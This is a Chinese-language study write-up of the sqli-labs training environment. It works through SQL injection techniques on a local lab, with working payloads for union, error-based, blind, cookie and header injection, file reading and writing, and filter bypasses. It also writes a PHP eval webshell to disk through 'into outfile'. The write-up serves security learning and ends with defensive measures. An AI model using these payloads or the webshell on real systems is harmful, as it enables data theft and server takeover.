SQL注入学习
- SQL注入的分类
- 实验环境安装
- 整型注入
- POST注入
- 字符型注入
- 报错注入
- 双注入
- 布尔盲注
- 时间盲注
- Cookie注入
- HTTP-Referer注入
- SQL注入读写文件
- 注入技巧
-
- 绕过注释符过滤
- 绕过and/or字符过滤
- 绕过空格过滤
- 内联注释绕过
- 宽字节注入
- 过滤函数绕过
- SQL注入防御
服务器端未严格校验客户端发送的数据,导致服务器端SQL语句被恶意修改并成功执行。
可能的原因:
- 代码过滤不严格。
- 未启用框架的安全配置。如php的magic_quotes_gpc.
- 未使用框架安全的查询方法(提供的查询接口)。
- 测试接口未删除(上线前必须删除)。
- 未启用防火墙。
- 未使用其他的安全防护设备。
任何和数据库产生交互的地方都有可能存在注入。
SQL注入的分类
按请求方法分类:GET型注入和POST型注入
按SQL数据类型分类:整型注入和字符型注入
其他的数据类型:报错注入、双注入、时间/布尔盲注、Cookie注入、User-Agent注入。(仅习惯性叫法)
- 报错注入:后台执行错误SQL,会返回错误信息并显示至前台。
- 双注入:拼接语句时用到了两个select。
- 盲注:只能用过页面判断是否正常执行。布尔盲注在语句中加入TRUE或FALSE来判断,时间盲注利用if…sleep函数。
- Cookie注入:在Cookie上进行注入。
实验环境安装
phpstudy+sqlilab
下载地址
https://github.com/Rinkish/Sqli_Edited_Version
整型注入
LESS-2
思路:
-
判断是否有注入点(要素1)。
(1)可控参数(e.g. ?id=2)的改变能否影响页面显示结果。——参数能与数据库交互。
(2)输入SQL是否能报错。——通过数据库报错可看到数据库一些语句痕迹。
(3)输入的SQL能否不报错?——我们的语句能成功闭合。
在url后面加入单引号?id=2 ',显示出了部分sql语句报错(2)
可能的sql语句是
select username, password from users where id=“2” LIMIT 0,1
改成双引号?id=2 ",知道参数输入的位置
使用#可正常得出结果(3)
- 判断是什么类型的注入。
- 确定语句是否可被恶意修改(要素2)。
输入?id=1 and 0 #(永假),无显示内容。
- 是否能够成功执行(要素3)。
- 获取我们想要的数据。
数据库->表->字段->值
MySQL有两个非常重要的自带数据库,分别是
mysql
和
information_schema
。
在
information_schema
库中,
SCHEMATA
表包含了所有数据库的名字(
SCHEMA_NAME
字段)和其他,
TABLES
表保存了所有数据库的所有表名(
TABLE_SCHEMA
和
TABLE_NAME
字段)等,
COLUMNS
表保存了所有的字段信息(
TABLE_SCHEMA
、
TABLE_NAME
和
COLUMN_NAME
字段)
使用工具:
HackBar
,更加方便的测试SQL注入。
尝试输入注入语句。
?id=1 union select SCHEMA_NAME from information_schema schema
//union可同时执行两条语句,把两个select的结果合并成一个临时表,但这条语句却不能执行。
?id=1 union select 1,2,3,4 %23
//要保证两条查询产生的列数一样(猜后台的列数),%23是#
//user()函数显示当前用户,但仍只返回第1条的结果
?id=1 union select user(),2,3
//可在第一个查询语句里查一个没有的id
?id=123456 union select user(),2,3
?id=1 and 0 union select user(),2,3
//改变位置
?id=123456 union select 1,user(),3
如法炮制修改sql语句
//查看现在的数据库
?id=123456 union select 1,database(),3 %23
//查询所有数据库名称,只能显示一条数据
?id=123456 union select 1,shcema_name,3 from information_schema.schemata %23
//group_concat()可将列数据拼在一起以逗号分隔
?id=123456 union select 1,group_concat(schema_name),3 from information_schema.schemata %23
结果有
information_schema,challenges,dvwa,mysql,performance_schema,security,sys
查询当前数据库有哪些表
结果是 emails,referers,uagents,users
发现里面存在着users表,可以查询一下该表的结构
结果是 id,username,password
发现里面有用户名和密码等信息,查询一下users表的所有内容
这样看很不方便,可使用另一函数concat_ws(),把两个字段以一一对应的关系拼接在一起输出。
//表示以冒号分隔开
?id=123456 union select 1,group_concat(concat_ws(':',username,password)),3 from security.users %23
得到结果
Dumb:Dumb,Angelina:I-kill-you,Dummy:[email protected],secure:crappy,stupid:stupidity,superman:genious,batman:mob!le,admin:admin,admin1:admin1,admin2:admin2,admin3:admin3,dhakkan:dumbo,admin4:admin4,admin5:admin5
POST注入
LESS-11,有三种方式。
按照前述思路进行测试,在username中输入
'
,发现产生报错。
登录时可能的sql语句是
可以在username上做文章,比如在username上输入
' or 1#
//即构造成语句
select 1 from users where username='' or 1 # ' and password=''
成功登录了进去。
除了在登录框进行操作外,也可以使用HackBar的post方法进行操作。先用审查元素看看html代码:
可分析出提交了两个参数
uname
和
passwd
,使用了
POST
方法。于是可在HackBar的POST参数中输入uname=1&passwd=1234,并点击提交:
可看到登录失败的字样。
修改回原来的参数,发现其同样登陆成功。
除了使用
HackBar
之外,可使用
BurpSuite
代理工具进行操作。
Burpsuite使用教程
https://t0data.gitbooks.io/burpsuite/content/
可以用正则过滤掉一些浏览器的请求。
firefox\.com$ firefox\.com\.cn$ mozilla\.com$ mozilla\.net$ mozilla\.org$ google\.com$ googleapis\.com$ googletagmanager\.com$ google-analytics\.com$ getclicky\.com$ cnzz\.com$
下面的分别是拦截请求和拦截相应的规则。
可以通过
send to repeater
多次修改和发送请求包。
order by
后面可加字符或者数字,字符即字段的名字,数字即根据第x列进行排序。因此可以先用
order by 1
看能否成功执行,然后二分法判断字段数,超出长度的数字就会被辨认成字段的名称。
一般表名是“数据库.表名”的形式,如果表名在整个数据库独一无二,可直接使用表名。
字符型注入
Less-1
关键在于引号部分可以闭合。
#注释
--注释
/*注释*/
/**注释**/
Less-4
输入
'
没有报错,输入
"
产生报错
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ‘"1 “”) LIMIT 0,1’ at line 1
可推测sql语句可能为
构造
成功得出结果,之后的注入过程则与前面类似。
报错注入
同样在Less-11。
利用SQL执行产生的报错信息进行注入。
效率相对较低,只能一个一个值去看输出结果。
可以通过利用两个函数的报错信息。
EXTRACTVALUE(XML_document, XPath_string);
从目标xml中提取包含所查询值的字符串。
XPath 是一门在 XML 文档中查找信息的语言。XPath 可用来在 XML 文档中对元素和属性进行遍历。详见w3school.
XML_document是String格式,为XML文档对象的名称,文中为Doc。
XPath_string,XPath格式(语法)的字符串,e.g. 爬虫。
concat(sign,(select…)):返回结果为连接参数产生的字符串。
sign是连接select结果的符号。
UPDATEXML(XML_document, XPath_string, new_value);
XML_document是String格式,为XML文档对象的名称,文中为Doc。
XPath_string(XPath格式的字符串)。
new_value,String格式,替换查找到的符合条件的数据。
分别输入
'
和
'"
判断uname在sql语句中的位置,其中
'"
可以显示
uname
变量附近的报错信息,从而获取更多的报错信息。用
' order by 2
尝试出正确的参数个数。接着输入
uname=' union select 1, extractvalue(1, (select version())) %23 &passwd=123456&submit=Submit
只报出了如下错误。
可用concat函数来拼接字符串使其显示完整
uname=' union select 1, extractvalue(1,concat(0x7e, (select version()))) %23 &passwd=123456&submit=Submit
则显示如下信息
则显示出数据库的版本,其中
0x7e
则是
~
的16进制编码。
然后输入
uname=' union select 1, extractvalue(1,concat(0x7e, (select table_name from information_schema.tables where table_schema=database() limit 1,1))) %23 &passwd=123456&submit=Submit
可以显示出第2行的表名。只能一行行的显示。
把
extractvalue
替换成
updatexml(1,select ...,1)
可以达到同样的效果。
双注入
利用两个select,报错信息来获取数据库的信息。
在请求体中输入:
uname=admin' union select 1,count(1) from information_schema.tables group by floor(rand()*2) %23 &passwd=123456&submit=Submit
返回了主键重复的报错信息 (结果里出现了两个主键相同的条目)
Duplicate entry '0' for key '
加上concat()和version()函数
uname=admin' union select 1,count(1) from information_schema.tables group by concat(floor(rand()*2),version()) %23 &passwd=123456&submit=Submit
报错信息中出现了version()的值
Duplicate entry '05.7.26' for key '
count(1)
的作用,就是统计在分组中,每一组对应的行数或项数。
原理上讲,group by产生的结果一般是唯一的,即该的结果是主键。group by产生查询结果时,游标遍历数据库表,并生成一个临时表。若临时表无该项,则新生成一项,若有,则在原项内产生一个小项(count(1)的情况即+1),最后产生如下图的结果:
每查询或插入一次临时表,就会执行一次rand(),而floor(rand()*2)只可能生成0或者1,所以一旦产生重复,就会报错,返回报错信息。
后面的步骤如前述的报错注入,修改version()部分进行注入即可(直接用group_concat会因数据太长无法报错,可使用
limit 0,1
逐个进行尝试)。例如
uname=admin' union select 1,count(1) from information_schema.tables group by concat(floor(rand()*2),(select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 0,1)) %23 &passwd=123456&submit=Submit
返回users表的第一个结果:
Duplicate entry '1id' for key '
布尔盲注
LESS-5
看不见报错/看不见数据返回结果,只能通过页面的状态判断。在数据库中,0代表假,大于0的正整数代表真。
在本题中,id正确则显示you are in…,错误则没有返回结果。
输入
http://127.0.0.1:3080/Less-5/?id=1'
产生报错如下
http://127.0.0.1:3080/Less-5/?id=1' and 0 %23
以上代码,当and后面为true时正常回显,当为false将不回显。于是根据该原理:
http://127.0.0.1:3080/Less-5/?id=1' and (select substr(version(),1,1) = 'a') %23
通过改变=后面的字符去判断version()的第一个字母是什么,然后一个一个的把全部字符试出来。
substr()
第一个参数是字符串,第二个参数是起始下标(从1开始),第三个是截取长度。
跟前面的套路一样去试数据库表的数据,猜数据表的名字:
http://127.0.0.1:3080/Less-5/?id=1' and (select substr(table_name,1,1)='a' from information_schema.tables where table_schema=database() limit 0,1) %23
可以转成ascii码(有0~128的字符)来判断:
http://127.0.0.1:3080/Less-5/?id=1' and (select ascii(substr(table_name,1,1))>64 from information_schema.tables where table_schema=database() limit 0,1) %23
采用二分法判断最终试出=101是正确的,是’d’。
一个一个试很不方便,可以使用BurpSuite的Intruder功能,可以批量重放包,一般用来做暴力破解。Target页是要渗透的域名和端口:
Positions则是刚才发送的包的信息
其中有四种attack type,Sniper表示只设置一种变量
先全选参数,点击Clear把变量清空,然后选择刚才的=后面的数字,点Add添加变量。然后在Payload里面对变量进行设置。
点击strat attack,然后点length筛选,快速得到结果:
然后以此类推,不断修改substr的参数去尝试,得出每一位的ascii值。
Battering ram可设置两个参数,设置与Sniper一样,然后发出的两个参数都是一样的,如图:
Pitchfork可以配置两个参数,分别读取两个字典内的同一行发包(e.g.用户名1密码1,用户名2密码2…)。
Cluster bomb可发两个参数,对两个参数的所有排列组合发包。(e.g.用户名1密码1,用户名1密码2,用户名2密码1…),假设第1个参数长度为7
发出了7*128=896个数据包。
查询ascii知值为emails。
时间盲注
Less-9
无论是正确的输入还是错误输入,都是显示you are in…,不会报错。这时就需要用时间注入来判断后台的执行结果。
http://127.0.0.1:3080/Less-9/?id=1' or sleep(1) %23
如果正确执行,则睡眠1秒,前台就像在加载中。改成下面的形式:
http://127.0.0.1:3080/Less-9/?id=1' or if(1,sleep(1),0) %23
如果为真(1),则睡1秒,否则返回0。然后可以在1的位置做改动
http://127.0.0.1:3080/Less-9/?id=1' or if((select ascii(substr(table_name,1,1))>0 from information_schema.tables where table_schema=database() limit 0,1),sleep(1),0) %23
通过测试得知=101是正确的。比布尔盲注慢一些。可以利用sqlmap等自动化注入工具。
Cookie注入
Less-20
在服务器端用session标记会话,客户端上保存cookie。
成功登陆进去后的页面显示如下:
抓包,发现cookie里面有uname的信息
如前所述,把Cookie改成
Cookie: uname=admin' %23
,发现可以正常返回结果。
使用之前的套路尝试:
Cookie: uname=admin' order by 3 %23
得知查询返回的数据有3列,输入
Cookie: uname=admin' and 0 union select 1,2,3 %23
返回结果
说明注入有效,继续使用之前的套路。
Cookie: uname=admin' and 0 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema = database() %23
Cookie: uname=admin' and 0 union select 1,group_concat(column_name),3 from information_schema.columns where table_schema = database() and table_name = 'users' %23
Cookie: uname=admin' and 0 union select 1,group_concat(concat_ws(':', username,password)),3 from users %23
任何和数据库有交互的地方都有可能产生注入。
HTTP-Referer注入
先试着用’看是否存在报错
Referer: http://127.0.0.1:3080/Less-19/'
Referer: http://127.0.0.1:3080/Less-19/')"
发现有
,
出现,可是一般select语句的where内不会出现
,
,因此猜测可能使用insert或者update语句进行查询。
insert into xxx(a,b,c) values('','','')
,如用前面select的语法进行注入,可能会使得参数数量减少。
可以使用
' and '
来消除报错
' and extractvalue(1,concat(0x7e,@@version)) and '
通过报错注入的思路得到了数据库的版本号。可在@@version处进行自由发挥。
如果是update xxx 的思路一样。
SQL注入读写文件
Less-1
使用到的是
Load_file(file_name);
读取文件并返回该文件的内容作为一个字符串,需满足4个条件:
- 必须有权限读取并且文件必须完全可读。
- 欲读取文件必须在服务器上。
- 必须指定文件的绝对路径。
- 欲读取文件必须小于max_allowed_packet。
使用例:
http://127.0.0.1/sqlilabs/Less-1/?id=-1' union select 1,2,Load_file("C://boot.ini") %23
路径获取方法:1.经验猜测(默认的安装路径)。2. 报错。
http://127.0.0.1/sqlilabs/Less-1/?id=-1' union select 1,2,load_file("D:\\phpstudy_pro\\WWW\\sqlilabs\\Less-1\\index.php") %23
页面返回php代码,可以用hex()函数进行16进制转码,用转换器转换回字符。也可用Burpsuite的decoder的hex来转码。
Less-7
这题的闭合语句比较特殊,需要依靠经验
http://127.0.0.1/sqlilabs/Less-7/?id=1')) %23
写文件依靠语句
into outfile "xxx"
http://127.0.0.1/sqlilabs/Less-7/?id=1')) union select 1,2,3 into outfile "D:\\phpstudy_pro\\WWW\\sqlilabs\\Less-7\\a.txt" %23
可以借此写入一句话木马,然后利用中国菜刀进行控制。
http://127.0.0.1/sqlilabs/Less-7/?id=1')) union select 1,2,"<?php @eval($_POST[value]); ?>" into outfile "D:\\phpstudy_pro\\WWW\\sqlilabs\\Less-7\\a.php" %23
一句话木马就是一句php代码,$_POST[value]是POST里面的参数,@eval()可以把括号内的参数当做系统命令来执行。
菜刀常用功能:文件管理,数据库管理,虚拟终端。
注入技巧
绕过注释符过滤
Less-23
按照之前的套路注入
发现无法正常执行语句。
You have an error in your SQL syntax; check the manual that
corresponds to your MySQL server version for the right syntax to use
near ‘’ LIMIT 0,1’ at line 1
尝试在%23后面加一个
"
,仍然报错,为更明显改成
http://127.0.0.1:3080/Less-23/?id=1' %23 "a
You have an error in your SQL syntax; check the manual that
corresponds to your MySQL server version for the right syntax to use
near ‘"a’ LIMIT 0,1’ at line 1
根据MySQL报错的原理,应该把两个错误信息之间的所有语句全都报出来,但是它却没有报出
#
,猜测它把注释符号过滤了。
可以构造
select * from xx where id = ''='' limit 0,1
没有报错,正常显示
然后在1上面进行修改,进行报错注入
可以通过上述句子判断有3个字段,把1改成-1,然后就可利用
union select
进行注入
绕过and/or字符过滤
Less-25
用前面思路尝试注入
发现报错如下
You have an error in your SQL syntax; check the manual that
corresponds to your MySQL server version for the right syntax to use
near ‘der by #’ LIMIT 0,1’ at line 1
order没有显示全,尝试在order前加个a执行
发现or没了,推测被过滤,测试发现and和or都被过滤了(无论大小写)。
在MySQL里面,可以使用
||
来代替or,用
&&
代替and,因此尝试
发现可以正常执行url。而改成&&则无法执行。因此使用上面的url进行修改
测试发现过滤其实只做了一次,因此可以使用下面的rul绕过过滤
绕过空格过滤
如上一节的套路,用a定位哪些字符被过滤后,试出注释和or都被过滤,于是尝试
http://127.0.0.1/sqlilabs/Less-26/ ?id=1' || (1) || '
可正常执行,尝试报错注入
发现出现如下输出
Warning: mysqli_fetch_array() expects parameter 1 to be mysqli_result,
bool given in D:\phpstudy_pro\WWW\sqlilabs\Less-26\index.php on line
36 FUNCTION security.selectextractvalue does not exist
按道理select和extractvalue之间是有空格的,但是在报错中却没显示出来。推测空格被过滤了。可用如下表示来代替空格:
%09 Tab键(水平)
%0a 新建一行
%0c 新的一页
%0d return功能
%0b TAB键(垂直)
%a0 空格
/**/ 代替空格
全部试一遍,不同的系统的对字符的解析不同。
本例中%a0可行(教程说可以,然而我这里报错,我也无语了,反正试过了都不行)。也可用括号来包裹参数来绕过。
http://127.0.0.1/sqlilabs/Less-26/ ?id=1' || (select (extractvalue(1,concat(0x7e,version())))) || '
内联注释绕过
Less-27
也是可能实验环境不同无法复现的一道题。
过滤掉了空格,注释符号,然后加特殊符号"各种测试后发现,关键字(union、select)也被过滤。可改变关键字大小写
或者在union和select内再嵌套关键字,该题select被过滤了两次。或者使用内联注释
来包裹关键字。
宽字节注入
当mysql内以gbk编码时,两个字符可以代表一个汉字。
Less-32
http://127.0.0.1/sqlilabs/Less-32/?id=1'
发现显示如下,
'
被转义,这时永远不会有报错,就不能注入了
Hint: The Query String you input is escaped as : 1’ The Query String
you input in Hex becomes : 315c27
5c是反斜杠,27是单引号。可利用gbk编码原理,范围从8140-FEFE,可以把5c当做汉字第二位,构造一个汉字,把反斜杠消除。
http://127.0.0.1/sqlilabs/Less-32/?id=1%81'
这时终于产生报错
加%23
后面的步骤与前面类似,用union select即可。
若采用gb2312编码则不行,因为其编码从B0A1-F7FE,反斜杠的5c不在A1-FE范围内。
过滤函数绕过
尝试注入分析,貌似有很多关键字被过滤,而且只会返回是否正常输入。uname error和passwd error会分别提示。可使用intruder进行尝试
uname=admin&passwd=admin
把uname的参数作为变量,采用sniper,在payload中添加特殊字符列表。
点击
Load...
选择txt文件即可添加
有602和605两种长度的返回包,其中605是提示非法字符,602是提示uname error,也就是602的输入是可以用的
可看到空格、逗号union、order等式被过滤了,构造
uname='=0='&passwd=admin
当为0时uname error,为1时是passwd error,可以推测后台语句为
where uname = ’ ’ = 1 = ’ ’
第一个=结果是假,第二个比较结果是假,第三个比较结果是真(假=假)。加个括号
uname='=(1)='&passwd=admin
也是返回passwd error,可以在括号内进行注入。
请求返回的包里面有个tips参数
可以放进decoder里面decode as… -> BASE64,解码出来之后
是一个sql语句,知道表名叫admin,用户名叫uname,密码是passwd,避免空格过滤,可以在参数外面用()包裹。
uname='=(select(1)from(admin)where(length(passwd)=0))='&passwd=admin
使用intruder进行爆破尝试。(结果发现返回的报文长度一样,只能依靠手工注入),发现长度是32,可以猜测是md5。
接下来用substr()函数逐个尝试结果。因为有过滤逗号,因此不好写,搜索可知substr()有如下用法
substr(val from 32)
意思是从from的位置开始一直取到最后一位。
uname='=(select(1)from(admin)where(ascii(substr((passwd)from(32))))>0)='&passwd=admin
md5的范围是a-z和0-9。试出第32位是f。把a设置为变量继续intruder。
uname='=(select(1)from(admin)where(substr((passwd)from(31)))='af')='&passwd=admin
实际使用sqlmap或者python脚本来做,然后用cmd5破解即可。
SQL注入防御
代码层:
- 黑/白名单(不允许的字符、允许的字符)
- 敏感字符过滤(单双引号、括号)
- 使用框架安全查询
- 规范输出(不输出报错的信息和代码)
配置层:
- 开启GPC(php里面)
- 使用utf-8(GBK可能有宽字符注入)
物理层:
- WAF
- 数据库审计
- 云防护(云上的WAF)
- IPS(检测异常流量和操作并防护)